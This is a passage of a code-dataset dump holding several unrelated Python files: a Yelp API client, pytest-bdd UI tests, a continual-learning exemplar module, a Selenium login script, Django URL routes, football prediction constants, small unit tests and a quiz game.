longitude\n self.location = location\n self.transactions = transactions\n\nclass EventSearchResult():\n def __init__(self,\n attending_count=None,\n categories=None,\n cost=None,\n cost_max=None,\n description=None,\n url=None,\n id=None,\n image_url=None,\n interested_count=None,\n is_canceled=None,\n is_free=None,\n is_official=None,\n latitude=None,\n longitude=None,\n name=None,\n tickets_url=None,\n start_time=None,\n end_time=None,\n location=None,\n cross_streets=None,\n business_alias=None):\n self.attending_count = attending_count\n self.categories = categories\n self.cost = cost\n self.cost_max = cost_max\n self.description = description\n self.url = url\n self.id = id\n self.image_url = image_url\n self.interested_count = interested_count\n self.is_canceled = is_canceled\n self.is_free = is_free\n self.is_official = is_official\n self.latitude = latitude\n self.longitude = longitude\n self.name = name\n self.tickets_url = tickets_url\n self.start_time = start_time\n self.end_time = end_time\n self.location = location\n self.cross_streets = cross_streets\n self.business_alias = business_alias\n\n\nclass YelpAPI():\n def __init__(self, apikey, categories_file):\n self.API_HOST = r\"https://api.yelp.com/v3/\"\n self.API_KEY = apikey\n self.BIZ_CATEGORIES = self._read_categories(categories_file)\n self.EVENT_CATEGORIES = {\n \"music\": {\"title\": \"Music\", \"parents\": []},\n \"visual-arts\": {\"title\": \"Visual Arts\", \"parents\": []},\n \"performing-arts\": {\"title\": \"Performing Arts\", \"parents\": []},\n \"film\": {\"title\": \"Film\", \"parents\": []},\n \"lectures-books\": {\"title\": \"Lectures & Books\", \"parents\": []},\n \"fashion\": {\"title\": \"Fashion\", \"parents\": []},\n \"food-and-drink\": {\"title\": \"Food & Drink\", \"parents\": []},\n \"festivals-fairs\": {\"title\": \"Festivals & Fairs\", \"parents\": []},\n \"charities\": {\"title\": \"Charities\", \"parents\": []},\n \"sports-active-life\": {\"title\": \"Sports & Active Life\", \"parents\": []},\n \"nightlife\": {\"title\": \"Nightlife\", \"parents\": []},\n \"kids-family\": {\"title\": \"Kids & Family\", \"parents\": []},\n \"other\": {\"title\": \"Other\", \"parents\": []}\n }\n\n def _read_categories(self, categories_file):\n with open(categories_file, \"r\") as f:\n cats = json.load(f)\n categories = {}\n for elem in cats:\n categories[elem['alias']] = {\"title\": elem['title'], \"parents\": elem['parents']}\n return categories\n\n def _request(self, endpoint, url_params):\n headers = {\n \"Authorization\": \"Bearer {0}\".format(self.API_KEY)\n }\n url = \"{0}{1}\".format(self.API_HOST, endpoint)\n response = requests.request('GET', url, headers=headers, params=url_params)\n return response.json()\n\n def _graphql_request(self, query):\n headers = {\n \"Authorization\": \"Bearer {0}\".format(self.API_KEY),\n \"Content-Type\": \"application/graphql\",\n \"Accept-Language\": \"en_US\"\n }\n url = \"{0}graphql\".format(self.API_HOST)\n response = requests.request('POST', url, headers=headers, data=query)\n resp = response.json()\n if 'data' in resp:\n return resp['data']\n else:\n return resp\n\n def flatten_raw_categories(self, categories):\n return set([cat['alias'] for cat in categories]) if categories is not None else None\n\n def add_parent_categories(self, categories):\n if categories is None:\n return None\n enhanced_categories = set()\n queue = []\n queue.extend(categories)\n while(len(queue) > 0):\n cat = queue.pop()\n if cat not in enhanced_categories:\n if cat in self.BIZ_CATEGORIES:\n parents = self.BIZ_CATEGORIES[cat]['parents']\n queue.extend(parents)\n enhanced_categories.add(cat)\n return enhanced_categories\n\n # https://www.yelp.com/developers/documentation/v3/business_search\n # Fusion endpoint. Doesn't return hours.\n def business_search(self,\n term=None,\n location=None,\n latitude=None,\n longitude=None,\n radius=None,\n categories=None,\n locale=None,\n limit=20,\n offset=0,\n sort_by=None,\n price=None,\n open_now=None,\n open_at=None,\n attributes=None,\n add_parent_categories=False,\n max_num_businesses=20):\n limit = min(max_num_businesses, limit)\n params = dict(locals())\n del params['add_parent_categories']\n del params['max_num_businesses']\n del params['self']\n keys = list(params.keys())\n for k in keys:\n if params[k] is None:\n del params[k]\n response = self._request(\"businesses/search\", params)\n businesses = response['businesses']\n business_objs = self._process_business_search_businesses(businesses, add_parent_categories)\n\n num_businesses_left = max_num_businesses - len(business_objs) - offset\n if num_businesses_left > 0 and len(business_objs) == limit:\n print(num_businesses_left, \"businesses left. Found\", len(business_objs),\" just now.\")\n additional_business_objs = self.business_search(term=term,\n location=location,\n latitude=latitude,\n longitude=longitude,\n radius=radius,\n categories=categories,\n locale=locale,\n limit=min(limit, num_businesses_left),\n offset= offset + len(business_objs),\n sort_by=sort_by,\n price=price,\n open_now=open_now,\n open_at=open_at,\n attributes=attributes,\n add_parent_categories=add_parent_categories,\n max_num_businesses=max_num_businesses)['businesses']\n business_objs.extend(additional_business_objs)\n\n result = {\n \"total\": response['total'],\n \"businesses\": business_objs,\n \"latitude\": response['region']['center']['latitude'],\n \"longitude\": response['region']['center']['longitude']\n }\n return result\n\n def _process_business_search_businesses(self, businesses, add_parent_categories):\n business_objs = []\n for biz in businesses:\n cats = self.flatten_raw_categories(biz.get('categories'))\n if add_parent_categories:\n cats = self.add_parent_categories(cats)\n business_objs.append(\n BusinessSearchResult(\n rating=biz.get('rating'),\n price=biz.get('price'),\n phone=biz.get('phone'),\n id=biz['id'],\n alias=biz['alias'],\n is_closed=biz.get('is_closed'),\n categories=cats,\n review_count=biz.get('review_count'),\n name=biz.get('name'),\n url=biz.get('url'),\n latitude=biz['coordinates']['latitude'],\n longitude=biz['coordinates']['longitude'],\n image_url=biz.get('image_url'),\n location=biz.get('location'),\n distance=biz.get('distance'),\n transactions=biz.get('transactions'),\n hours=biz.get('hours')\n )\n )\n return business_objs\n\n # https://www.yelp.com/developers/documentation/v3/business\n def business_details(self, id, add_parent_categories=False):\n result = self._request(\"businesses/{0}\".format(id), {})\n return self._process_business_detail(result, add_parent_categories)\n\n def graphql_bulk_business_hours(self, ids):\n business_query_str = \"\"\"\n b{0}: business(id: \"{1}\") {{\n name\n id\n hours {{\n is_open_now\n open {{\n day\n is_overnight\n start\n end\n }}\n }}\n }}\n \"\"\"\n formatted_businesses = []\n for idx, biz_id in enumerate(ids):\n formatted_businesses.append(business_query_str.format(idx, biz_id))\n query = \"{{ {0} }}\".format(\"\\n\".join(formatted_businesses))\n results = self._graphql_request(query)\n\n all_hours = []\n print(results)\n for i in range(len(ids)):\n result = results[\"b{0}\".format(i)]\n hours_raw = result.get('hours')\n hours = None\n if hours_raw is not None:\n hours = self._reformat_business_hours(hours_raw)\n all_hours.append(hours)\n return all_hours\n\n def add_hours_to_search_results(self, results):\n ids = [r.id for r in results]\n hours = self.graphql_bulk_business_hours(ids)\n for i in range(len(results)):\n results[i].hours = hours[i]\n\n def _reformat_business_hours(self, hours_raw):\n # Change format of hours to a list. One element for each day,\n # and each element is a list of the various hours for that day,\n # where the \"various hours\" are specified in dictionaries.\n # \"REGULAR\" is omitted since it's always that.\n hours = None\n if hours_raw is not None:\n hours = [[] for _ in range(7)]\n for hrs in hours_raw:\n for elem in hrs['open']:\n stime = time.strptime(elem['start'], \"%H%M\")\n etime = time.strptime(elem['end'], \"%H%M\")\n hours[elem['day']].append({\n \"is_overnight\": elem['is_overnight'],\n \"start\": datetime.time(stime.tm_hour, stime.tm_min),\n \"end\": datetime.time(etime.tm_hour, etime.tm_min)\n })\n return hours\n\n def _process_business_detail(self, result, add_parent_categories):\n cats = self.flatten_raw_categories(result.get('categories'))\n if add_parent_categories:\n cats = self.add_parent_categories(cats)\n\n hours_raw = result.get('hours')\n hours = None\n if hours_raw is not None:\n hours = self._reformat_business_hours(hours_raw)\n\n return BusinessDetails(\n id=result['id'],\n alias=result['alias'],\n name=result.get('name'),\n image_url=result.get('image_url'),\n is_claimed=result.get('is_claimed'),\n is_closed=result.get('is_closed'),\n url=result.get('url'),\n price=result.get('price'),\n phone=result.get('phone'),\n photos=result.get('photos'),\n hours=hours,\n categories=cats,\n latitude=result['coordinates']['latitude'],\n longitude=result['coordinates']['longitude'],\n transactions=result.get('transactions')\n )\n\n def event_search(self,\n offset=None,\n limit=None,\n sort_by=None,\n sort_on=None,\n start_date=None, # Datetime object\n end_date=None, # Datetime object\n categories=None,\n is_free=None,\n location=None,\n latitude=None,\n longitude=None,\n radius=None,\n excluded_events=None,\n timezone=None,\n duration_if_no_end=datetime.timedelta(seconds=3600 * 2)): # Default duration 2hrs if no end time\n if timezone is None:\n raise Exception(\"Must specify timezone\")\n start_date = str_to_unix(start_date, timezone)\n end_date = str_to_unix(end_date, timezone)\n params = dict(locals())\n #del params['add_parent_categories']\n keys = list(params.keys())\n for k in keys:\n if params[k] is None:\n del params[k]\n response = self._request(\"events\", params)\n events = response[\"events\"]\n event_objs = []\n print([x['id'] for x in events])\n for event in events:\n if \"category\" in event:\n cats = set([\"event\", event.get('category')]) # Events only have 1 category. Manually adding \"event\" as parent category.\n else:\n cats = set([\"event\"])\n print(event['time_start'], event['time_end'])\n stime = to_local_time(dateutil.parser.parse(event['time_start']), timezone)\n if event['time_end'] is not None:\n etime = to_local_time(dateutil.parser.parse(event['time_end']), timezone)\n elif duration_if_no_end is not None:\n etime = stime + duration_if_no_end\n else:\n etime = None\n event_objs.append(\n EventSearchResult(\n attending_count=event.get('attending_count'),\n categories=cats,\n cost=event.get('cost'),\n cost_max=event.get('cost_max'),\n url=event.get('event_site_url'),\n id=event['id'],\n image_url=event.get('image_url'),\n interested_count=event.get('interested_count'),\n is_canceled=event.get('is_canceled'),\n is_free=event.get('is_free'),\n is_official=event.get('is_official'),\n latitude=event.get('latitude'),\n longitude=event.get('longitude'),\n name=event.get('name'),\n tickets_url=event.get('tickets_url'),\n start_time=stime,\n end_time=etime,\n\n )\n )\n print(events[0]['time_start'])\n return event_objs\n\n\n","repo_name":"alexandermoore/dayplanner","sub_path":"api/yelp/yelp.py","file_name":"yelp.py","file_ext":"py","file_size_in_byte":18743,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"24833969555","text":"\"\"\"\nThese tests cover the navigation from the Get Started Page.\n\"\"\"\nimport pytest\nfrom pytest_bdd import scenarios, scenario, given, when, then, parsers\nfrom functools import partial\nfrom pages.getstarted import SleepioLandingPage\nfrom pages.sleepscoreinitialpage import SleepScoreHowWouldYouLikeToImproveYourSleepPage\n\n#scenarios = partial(scenario, '../tests/features/getstarted.feature')\n\n@scenario('../tests/features/getstarted.feature', 'Basic Sleepio Navigation From Landing Page')\ndef test_getstarted():\n pass\n\n@pytest.mark.usefixtures(\"browser\")\ndef test_navigation_from_landing_page(browser):\n landing_page = SleepioLandingPage(browser)\n result_page = SleepScoreHowWouldYouLikeToImproveYourSleepPage(browser)\n Expected_header = \"YOUR SLEEP SCORE\"\n return landing_page\n\n# Given the Sleepio home page is displayed\n@given(\"the Sleepio home page is displayed\")\ndef test_given_on_landing_page(browser):\n landing_page = SleepioLandingPage(browser)\n landing_page.load()\n\n# When the user clicks \"Get Started\"\n@when('the user clicks \"Get Started\"')\ndef getstarted_click(browser):\n landing_page = SleepioLandingPage(browser)\n landing_page.click()\n\n# Then the page header contains \"YOUR SLEEP SCORE\"\n@then('the page header contains \"YOUR SLEEP SCORE\"')\ndef page_header_assertion(browser):\n Expected_header = \"YOUR SLEEP SCORE\"\n result_page = SleepScoreHowWouldYouLikeToImproveYourSleepPage(browser)\n assert Expected_header in result_page.result_header_value()\n\n# And the page with the question \"How would you like to improve your sleep?\" appears\n@then('the page with the question \"How would you like to improve your sleep?\" appears')\ndef page_assertion(browser):\n result_page = SleepScoreHowWouldYouLikeToImproveYourSleepPage(browser)\n assert \"How would you like to improve your sleep?\" in result_page.result_link_title()\n","repo_name":"JoshiArpitaDemo/SleepioUITests","sub_path":"tests/test_getstarted_first.py","file_name":"test_getstarted_first.py","file_ext":"py","file_size_in_byte":1862,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"73334560302","text":"import abc\nimport torch\nfrom torch import nn\nfrom torch.nn import functional as F\nimport copy\nimport numpy as np\n\n\n# There might be some dimension errors which can be fixed based on the input. The general idea is that you compute the feature distribution mean of a past window and compare it to the present window and if they're close, keep that past window in an exemplar set to replay.\n\n\nclass ExemplarHandler(nn.Module, metaclass=abc.ABCMeta):\n \"\"\"Abstract module for a classifier that can store and use exemplars.\n Adds a exemplar-methods to subclasses, and requires them to provide a 'feature-extractor' method.\"\"\"\n\n def __init__(self):\n super().__init__()\n\n # list with exemplar-sets\n self.exemplar_sets = (\n []\n ) # --> each exemplar_set is an of N images with shape (N, Ch, H, W)\n self.exemplar_means = []\n self.compute_means = True\n hidden_sizes = [12,12] # Change Accordingly\n self.net = nn.Sequential()\n sequence_length = 58 # Change Accordingly\n self.net.add_module(\"input\", nn.Linear(sequence_length, hidden_sizes[0]))\n\n for i in range(1, len(hidden_sizes)):\n # Each layer will divide the size of feature map by 2\n self.net.add_module(\n \"linear%d\" % i,\n nn.Linear(hidden_sizes[i - 1], hidden_sizes[i]),\n )\n self.net.add_module(\"relu%d\" % i, nn.ReLU(True))\n # settings\n self.memory_budget = 2000\n self.norm_exemplars = True\n self.herding = True\n\n def _device(self):\n return next(self.parameters()).device\n\n def _is_on_cuda(self):\n return next(self.parameters()).is_cuda\n\n def feature_extractor(self, batch_x):\n\n return self.net(batch_x)\n \n\n ####----MANAGING EXEMPLAR SETS----####\n\n def reduce_exemplar_sets(self, m):\n for y, P_y in enumerate(self.exemplar_sets):\n self.exemplar_sets[y] = P_y[:m]\n\n def construct_exemplar_set(self, dataset, n):\n \"\"\"Construct set of [n] exemplars from [dataset] using 'herding'.\n Note that [dataset] should be from specific class; selected sets are added to [self.exemplar_sets] in order.\"\"\"\n\n # set model to eval()-mode\n mode = self.training\n self.eval()\n\n n_max = len(dataset)\n exemplar_set = []\n\n if self.herding:\n # compute features for each example in [dataset]\n first_entry = True\n\n # dataloader = define your dataloader\n\n # image_batch is just the batch of timeseries\n for i in range(0, len(dataset), 32): # Change Accordingly\n image_batch = torch.tensor(dataset[i:i+32]).type(torch.float32) # Change Accordingly\n # print(image_batch.shape)\n image_batch = image_batch.to(self._device())\n with torch.no_grad():\n feature_batch = self.feature_extractor(image_batch).cpu()\n if first_entry:\n features = feature_batch\n first_entry = False\n else:\n features = torch.cat([features, feature_batch], dim=0)\n if self.norm_exemplars:\n features = F.normalize(features, p=2, dim=1)\n\n # calculate mean of all features\n class_mean = torch.mean(features, dim=0, keepdim=True)\n if self.norm_exemplars:\n class_mean = F.normalize(class_mean, p=2, dim=1)\n\n # one by one, select exemplar that makes mean of all exemplars as close to [class_mean] as possible\n exemplar_features = torch.zeros_like(features[: min(n, n_max)])\n list_of_selected = []\n for k in range(min(n, n_max)):\n if k > 0:\n exemplar_sum = torch.sum(exemplar_features[:k], dim=0).unsqueeze(0)\n features_means = (features + exemplar_sum) / (k + 1)\n features_dists = features_means - class_mean\n else:\n features_dists = features - class_mean\n index_selected = np.argmin(torch.norm(features_dists, p=2, dim=1))\n if index_selected in list_of_selected:\n raise ValueError(\"Exemplars should not be repeated!!!!\")\n list_of_selected.append(index_selected)\n\n exemplar_set.append(dataset[index_selected])\n exemplar_features[k] = copy.deepcopy(features[index_selected])\n\n # make sure this example won't be selected again\n features[index_selected] = features[index_selected] + 10000\n else:\n indeces_selected = np.random.choice(\n n_max, size=min(n, n_max), replace=False\n )\n for k in indeces_selected:\n exemplar_set.append(dataset[k])\n\n # add this [exemplar_set] as a [n]x[ich]x[isz]x[isz] to the list of [exemplar_sets]\n self.exemplar_sets.append(np.array(exemplar_set))\n\n # set mode of model back\n print(np.array(self.exemplar_sets).shape)\n #self.train(mode=mode)\n return self.exemplar_sets\n","repo_name":"digantamisra98/CL_Timeseries","sub_path":"experience_replay/experience_replay.py","file_name":"experience_replay.py","file_ext":"py","file_size_in_byte":5186,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"91"}
+{"seq_id":"43449022339","text":"from selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\nfrom selenium.webdriver.common.by import By\nimport time\nfrom selenium.webdriver.common.keys import Keys\n \ndriver =webdriver.Chrome()\ndriver.maximize_window()\n\nbaseUrl = \"https://www.bongobd.com/\"\ndriver.get(baseUrl)\n\ndriver.find_element_by_xpath(\"//*[@id='content']/div[1]/nav/div/div/div[2]/div[4]/ul/li[1]/a\").click()\n\nwindow_before = driver.window_handles[0]\nwindow_before_title = driver.title\ndriver.find_element_by_xpath(\"//*[@id='regNext']/span[2]\").click()\n\nwindow_after = driver.window_handles[1]\ndriver.switch_to_window(window_after)\n\n\ndriver.find_element_by_xpath(\"//*[@id='u_0_6q']\").send_keys(\"1710493613\")\n\ndriver.find_element_by_id(\"u_0_6r\").click()\ndriver.implicitly_wait(10)\n\n\nmyElement = driver.find_element_by_name(\"confirmation_code\")\nmyElement.send_keys(\"556723\")\nmyElement.send_keys(Keys.ENTER)\n\ndriver.implicitly_wait(10)\nbrowser.quit()\n\n\n","repo_name":"rafayet13/BongoBdD","sub_path":"login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"35956126787","text":"from django.conf.urls import url\n\nfrom views import index, editperson, listpersons\nurlpatterns = [\n url(r'^$',index, name='pim-index'),\n url(r'^edit/(?P[0-9]+)/$',editperson,name='pim-edit'),\n url(r'^list/$',listpersons,name='pim-list')\n\n]\n\n\n\n\n\n","repo_name":"cogitoergozum/sample","sub_path":"pim/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":266,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"37267746577","text":"#!/usr/bin/python3\r\n#coding: utf-8\r\n\r\n# post 13/12/2017\r\nDEFAULT_MATCHES_8 = [[\"ac-ajaccio\", \"aj-auxerre\"], [\"bourg-peronnas\", \"lorient\"], [\"chateauroux\", \"orléans\"], [\"clermont-foot\", \"sochaux\"]\r\n , [\"gfc-ajaccio\", \"nimes\"], [\"le-havre-ac\", \"niort\"], [\"as-nancy-lorraine\", \"paris-fc\"], [\"us-quevilly\", \"brest\"]\r\n , [\"stade-de-reims\", \"valenciennes\"], [\"lens\", \"tours\"],]\r\n\r\n# post 13/12/2017\r\nDEFAULT_MATCHES_9 = [[\"ac-ajaccio\", \"aj-auxerre\"], [\"bourg-peronnas\", \"lorient\"], [\"chateauroux\", \"orléans\"], [\"clermont-foot\", \"sochaux\"]\r\n , [\"gfc-ajaccio\", \"nimes\"], [\"le-havre-ac\", \"niort\"], [\"as-nancy-lorraine\", \"paris-fc\"], [\"us-quevilly\", \"brest\"]\r\n , [\"stade-de-reims\", \"valenciennes\"], [\"lens\", \"tours\"],]\r\n \r\n# post 02/02/2018\r\nDEFAULT_MATCHES_10 = [[\"bourg-peronnas\", \"clermont-foot\"], [\"tours\", \"aj-auxerre\"], [\"orléans\", \"le-havre-ac\"], [\"paris-fc\", \"niort\"]\r\n , [\"us-quevilly\", \"chateauroux\"], [\"valenciennes\", \"as-nancy-lorraine\"], [\"nimes\", \"ac-ajaccio\"], [\"sochaux\", \"gfc-ajaccio\"]\r\n , [\"lorient\", \"lens\"], [\"brest\", \"stade-de-reims\"],]\r\n \r\n# post 07/02/2018\r\nDEFAULT_MATCHES_11 = [[\"as-nancy-lorraine\", \"us-quevilly\"], [\"clermont-foot\", \"gfc-ajaccio\"], [\"chateauroux\", \"bourg-peronnas\"], \r\n [\"ac-ajaccio\", \"lorient\"], [\"tours\", \"paris-fc\"], [\"stade-de-reims\", \"sochaux\"], [\"le-havre-ac\", \"brest\"], \r\n [\"niort\", \"orléans\"], [\"lens\", \"valenciennes\"], [\"aj-auxerre\", \"nimes\"],]\r\n \r\n# post 15/02/2018\r\nDEFAULT_MATCHES_12 = [[\"orléans\", \"paris-fc\"], [\"gfc-ajaccio\", \"stade-de-reims\"], [\"nimes\", \"tours\"], \r\n [\"sochaux\", \"le-havre-ac\"], [\"clermont-foot\", \"chateauroux\"], [\"brest\", \"niort\"], [\"bourg-peronnas\", \"as-nancy-lorraine\"], \r\n [\"valenciennes\", \"ac-ajaccio\"], [\"lorient\", \"aj-auxerre\"], [\"us-quevilly\", \"lens\"],]\r\n \r\n# post 22/02/2018\r\nDEFAULT_MATCHES_13 = [[\"chateauroux\", \"gfc-ajaccio\"], [\"niort\", \"nimes\"], [\"le-havre-ac\", \"bourg-peronnas\"], \r\n [\"lens\", \"clermont-foot\"], [\"tours\", \"orléans\"], [\"aj-auxerre\", \"valenciennes\"], [\"ac-ajaccio\", \"sochaux\"], \r\n [\"stade-de-reims\", \"us-quevilly\"], [\"paris-fc\", \"brest\"], [\"as-nancy-lorraine\", \"lorient\"],]\r\n \r\n# post 01/03/2018\r\nDEFAULT_MATCHES_14 = [[\"chateauroux\", \"as-nancy-lorraine\"], [\"clermont-foot\", \"stade-de-reims\"], [\"valenciennes\", \"orléans\"], \r\n [\"us-quevilly\", \"niort\"], [\"brest\", \"tours\"], [\"sochaux\", \"aj-auxerre\"], [\"bourg-peronnas\", \"ac-ajaccio\"], \r\n [\"gfc-ajaccio\", \"lens\"], [\"nimes\", \"paris-fc\"], [\"lorient\", \"le-havre-ac\"],]\r\n \r\n# post 08/03/2018\r\nDEFAULT_MATCHES_15 = [[\"niort\", \"lorient\"], [\"orléans\", \"nimes\"], [\"tours\", \"valenciennes\"], \r\n [\"le-havre-ac\", \"clermont-foot\"], [\"stade-de-reims\", \"chateauroux\"], [\"ac-ajaccio\", \"us-quevilly\"], [\"aj-auxerre\", \"brest\"], \r\n [\"as-nancy-lorraine\", \"gfc-ajaccio\"], [\"paris-fc\", \"sochaux\"], [\"lens\", \"bourg-peronnas\"],]\r\n\r\n# post 15/03/2018\r\nDEFAULT_MATCHES_X = [[\"lorient\", \"orléans\"], [\"clermont-foot\", \"as-nancy-lorraine\"], [\"valenciennes\", \"paris-fc\"], \r\n [\"chateauroux\", \"le-havre-ac\"], [\"bourg-peronnas\", \"niort\"], [\"sochaux\", \"tours\"], [\"us-quevilly\", \"aj-auxerre\"], \r\n [\"gfc-ajaccio\", \"ac-ajaccio\"], [\"stade-de-reims\", \"lens\"], [\"brest\", \"nimes\"],] \r\n \r\nLIGUETWO_TEAMS = [\"stade-de-reims\", \"nimes\", \"ac-ajaccio\", \"le-havre-ac\", \"brest\", \"paris-fc\", \"lorient\", \"sochaux\"\r\n , \"clermont-foot\", \"chateauroux\", \"niort\", \"valenciennes\", \"gfc-ajaccio\", \"lens\", \"as-nancy-lorraine\", \"aj-auxerre\"\r\n , \"us-quevilly\", \"tours\", \"bourg-peronnas\", \"orléans\"]\r\n\r\nGENERAL_COEFF = \"gen\"\r\nOFF_COEFF = \"off\"\r\nDEF_COEFF = \"def\"\r\nGENERAL_HOME = \"home_gen\"\r\nOFF_HOME = \"home_off\"\r\nDEF_HOME = \"home_def\"\r\nGENERAL_AWAY = \"away_gen\"\r\nOFF_AWAY = \"away_off\"\r\nDEF_AWAY = \"away_def\"\r\n\r\nCOEFF_VICT_GEN = 2\r\nCOEFF_DEF_GEN = -1\r\nCOEFF_DRAW_GEN = 1\r\nADD_MATCHES_GEN = 10\r\nCOEFF_SCORED_GEN = 1\r\nCOEFF_TAKEN_GEN = -1\r\nADD_GOALS_GEN = 10\r\n\r\nCOEFF_VICT_OFF = 3/2\r\nCOEFF_DEF_OFF = -1\r\nCOEFF_DRAW_OFF = 1/2\r\nCOEFF_MATCHES_OFF = 5\r\nADD_MATCHES_OFF = 5\r\nFIRST_COEFF_OFF = 1\r\nCOEFF_SCORED_OFF = 1/3\r\nCOEFF_TAKEN_OFF = -1/2\r\nCOEFF_GOALS_OFF = 5/2\r\nADD_GOALS_OFF = 5\r\nSCD_COEFF_OFF = 2/3\r\n\r\nCOEFF_VICT_DEF = 1\r\nCOEFF_DEF_DEF = -4/3\r\nCOEFF_DRAW_DEF = 1/3\r\nCOEFF_MATCHES_DEF = 5\r\nADD_MATCHES_DEF = 6\r\nFIRST_COEFF_DEF = 1\r\nCOEFF_SCORED_DEF = 1/2\r\nCOEFF_TAKEN_DEF = -2\r\nCOEFF_GOALS_DEF = 5/2\r\nADD_GOALS_DEF = 5\r\nSCD_COEFF_DEF = 1\r\n\r\nMUTABLE_VARS = {}\r\n\r\n## OLD SCHOOL OUTPUT\r\n##MUTABLE_VARS[\"GLOBAL_COEFF\"] = 1\r\n##\r\n##MUTABLE_VARS[\"COEFF_VICT_GEN\"] = 3\r\n##MUTABLE_VARS[\"COEFF_DEF_GEN\"] = -9/2\r\n##MUTABLE_VARS[\"COEFF_DRAW_GEN\"] = 0\r\n##\r\n##MUTABLE_VARS[\"COEFF_SCORED_GEN\"] = 3\r\n##MUTABLE_VARS[\"COEFF_TAKEN_GEN\"] = -17/2\r\n##\r\n##MUTABLE_VARS[\"COEFF_LEARNING\"] = 13/2\r\n##MUTABLE_VARS[\"COEFF_GOALS\"] = 7/2\r\n##MUTABLE_VARS[\"COEFF_VALUE\"] = 7/1200\r\n##MUTABLE_VARS[\"COEFF_EXP\"] = 27/1000\r\n##MUTABLE_VARS[\"COEFF_WIN_STREAK\"] = 1\r\n##MUTABLE_VARS[\"SIMILAR_TEAM_RANGE\"] = 32\r\n\r\n## 66.45% \r\nMUTABLE_VARS[\"COEFF_VICT_GEN\"] = 7.7\r\nMUTABLE_VARS[\"COEFF_DEF_GEN\"] = 10.0\r\nMUTABLE_VARS[\"COEFF_DRAW_GEN\"] = -14.0\r\nMUTABLE_VARS[\"COEFF_SCORED_GEN\"] = -9.8\r\nMUTABLE_VARS[\"COEFF_TAKEN_GEN\"] = 12.7\r\nMUTABLE_VARS[\"COEFF_LEARNING\"] = -2.25333\r\nMUTABLE_VARS[\"COEFF_GOALS\"] = 2.98667\r\nMUTABLE_VARS[\"COEFF_VALUE\"] = -0.00219\r\nMUTABLE_VARS[\"COEFF_EXP\"] = -0.02102\r\nMUTABLE_VARS[\"SIMILAR_TEAM_RANGE\"] = 68.46667\r\nMUTABLE_VARS[\"COEFF_WIN_STREAK\"] = 12.13333\r\nMUTABLE_VARS[\"GLOBAL_COEFF\"] = 2.0\r\n\r\n\r\n\r\n\r\nDEFAULT_MATCHES_X = [\"['ac-ajaccio', 'clermont-foot']\", \"['aj-auxerre', 'bourg-peronnas']\", \"['le-havre-ac', 'us-quevilly']\", \"['nimes', 'valenciennes']\", \"['niort', 'sochaux']\", \"['orléans', 'brest']\", \"['paris-fc', 'gfc-ajaccio']\", \"['tours', 'lorient']\", \"['as-nancy-lorraine', 'stade-de-reims']\", \"['lens', 'chateauroux']\"]\r\n\r\nDEFAULT_MATCHES_X = [['ac-ajaccio', 'clermont-foot'], ['aj-auxerre', 'bourg-peronnas'], ['le-havre-ac', 'us-quevilly'], ['nimes', 'valenciennes'], ['niort', 'sochaux'], ['orléans', 'brest'], ['paris-fc', 'gfc-ajaccio'], ['tours', 'lorient'], ['as-nancy-lorraine', 'stade-de-reims'], ['lens', 'chateauroux']]\r\n\r\nWEEK_MATCHES = [['clermont-foot', 'niort'], ['lorient', 'paris-fc'], ['us-quevilly', 'nimes'], ['bourg-peronnas', 'tours'], ['brest', 'valenciennes'], ['chateauroux', 'ac-ajaccio'], ['gfc-ajaccio', 'aj-auxerre'], ['sochaux', 'orléans'], ['stade-de-reims', 'le-havre-ac'], ['lens', 'as-nancy-lorraine']]","repo_name":"Gargarok/FriendlyTortoise","sub_path":"LTAlgorithmConstants.py","file_name":"LTAlgorithmConstants.py","file_ext":"py","file_size_in_byte":6405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"91"}
+{"seq_id":"72204608944","text":"from unittest import mock\n\nimport pytest\n\nfrom valsys.utils.utils import read_env\n\n\nMODULE_PREFIX = \"valsys.utils.utils\"\n\n\nclass TestReadEnv:\n\n @mock.patch(f\"{MODULE_PREFIX}.os.getenv\")\n def test_works_ok(self, mock_getenv):\n varn = 'variableName'\n mock_getenv.return_value = 42\n assert read_env(varn) == 42\n mock_getenv.assert_called_with(varn)\n\n @mock.patch(f\"{MODULE_PREFIX}.os.getenv\")\n def test_not_found_required(self, mock_getenv):\n varn = 'variableName'\n mock_getenv.return_value = None\n with pytest.raises(ValueError) as err:\n read_env(varn)\n assert varn in str(err)\n\n @mock.patch(f\"{MODULE_PREFIX}.os.getenv\")\n def test_not_found_not_required(self, mock_getenv):\n varn = 'variableName'\n mock_getenv.return_value = None\n assert read_env(varn, required=False) == None\n","repo_name":"valsysinc/valsys-api","sub_path":"valsys/utils/tests/test_utils.py","file_name":"test_utils.py","file_ext":"py","file_size_in_byte":882,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"91"}
+{"seq_id":"74045984624","text":"from questionModel import AskQues\nfrom data import question_data\nfrom quiz_brain import Score, CheckAns\n\n\naskQues = AskQues()\nquestion_checker = CheckAns()\n\n# print(askQues.get_ques(question_data[0]))\n\n\n# //ask as question\n# take a input\n# check asnwer\n# if true\n# continue till score reaches 10\n# else\n# print score and ask user to play again\nplay_again = True\nwhile (play_again):\n\n scoreCalc = Score()\n for i in range(0, 11):\n print(f\"{i+1}. {askQues.get_ques(question_data[i])}\\n(True/False)\")\n\n userAnswer = input().capitalize()\n answer = askQues.get_ans(question_data[i])\n\n result = question_checker.check_ans(userAnswer, answer=answer)\n\n scoreCalc.update_score(result)\n\n if (result):\n print(\"You got it right: \")\n print(f\"your current score is: {scoreCalc.get_score()}/{i}.\\n\\n\\n\")\n else:\n print(\"Thats Wrong: \")\n print(f\"your current score is: {scoreCalc.get_score()}/{i}.\\n\\n\\n\")\n break\n\n play_again = input(\n \"Do you want to play again:\\nType 'y' for playing again else any key to exit : \")\n\n print(\"\\n\\n\\n\")\n if play_again.lower() == \"y\":\n is_true = True\n else:\n is_true = 